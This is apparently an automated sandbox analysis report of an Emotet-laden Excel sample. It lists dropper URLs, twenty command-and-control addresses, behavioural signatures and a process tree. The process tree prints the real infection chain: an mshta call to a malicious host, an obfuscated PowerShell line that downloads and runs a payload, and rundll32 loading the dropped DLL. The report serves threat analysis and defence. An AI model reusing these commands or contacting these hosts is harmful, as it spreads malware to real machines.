Analysis

  • max time kernel
    151s
  • max time network
    132s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    27/01/2022, 18:45

General

  • Target
    tmp1zg8lye0.xls
  • Size 154KB
  • Sample220127-xed6cshbbr
  • SHA256 af267fe2e9975d8eb7f84748b9456ef9b86fbe6a4fb72cc1580e507b2abc8622
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 51.15.4.22:443

  • 173.214.173.220:8080

  • 212.237.5.209:443

  • 192.254.71.210:443

  • 216.158.226.206:443

  • 162.243.175.63:443

  • 212.24.98.99:8080

  • 58.227.42.236:80

  • 45.118.115.99:8080

  • 104.251.214.46:8080

  • 185.157.82.209:8080

  • 46.55.222.11:443

  • 188.40.137.206:8080

  • 81.0.236.90:443

  • 103.75.201.2:443

  • 129.232.188.93:443

  • 195.154.133.20:443

  • 159.8.59.82:8080

  • 79.172.212.216:8080

  • 138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp1zg8lye0.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2680
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3396
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/zqqw/zaas/fe.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:3148
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:852
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3188
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:2352
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:3808
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Npccjupazvdondfx\vfrg.esa",lFrARrUjXiBGCX
                  8⤵
                    PID:376
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 3148 -s 1816
            4⤵
            • Program crash
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1036

    Network

          MITRE ATT&CK Enterprise v6

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          Downloads

          memory/852-310-0x000001D76A3F0000-0x000001D76A4D0000-memory.dmp

          memory/852-281-0x000001D76A3F0000-0x000001D76A4D0000-memory.dmp

          memory/852-305-0x000001D76AE90000-0x000001D76AF06000-memory.dmp

          memory/852-294-0x000001D76AA50000-0x000001D76AA8C000-memory.dmp

          memory/852-273-0x000001D76A7B0000-0x000001D76A7D2000-memory.dmp

          memory/852-280-0x000001D76A3F0000-0x000001D76A4D0000-memory.dmp

          memory/2352-616-0x00000000042E0000-0x0000000004305000-memory.dmp

          memory/2680-117-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

          memory/2680-119-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

          memory/2680-115-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

          memory/2680-606-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

          memory/2680-607-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

          memory/2680-608-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

          memory/2680-609-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

          memory/2680-118-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

          memory/2680-128-0x00007FFF03D00000-0x00007FFF03D10000-memory.dmp

          memory/2680-116-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

          memory/2680-129-0x00007FFF03D00000-0x00007FFF03D10000-memory.dmp

          memory/3808-619-0x0000000003330000-0x0000000003355000-memory.dmp

          memory/3808-622-0x00000000051B0000-0x00000000051D5000-memory.dmp

          memory/3808-624-0x00000000052C0000-0x00000000052E5000-memory.dmp

          memory/3808-626-0x0000000005420000-0x0000000005445000-memory.dmp

          memory/3808-628-0x0000000005480000-0x00000000054A5000-memory.dmp

          memory/3808-630-0x00000000054E0000-0x0000000005505000-memory.dmp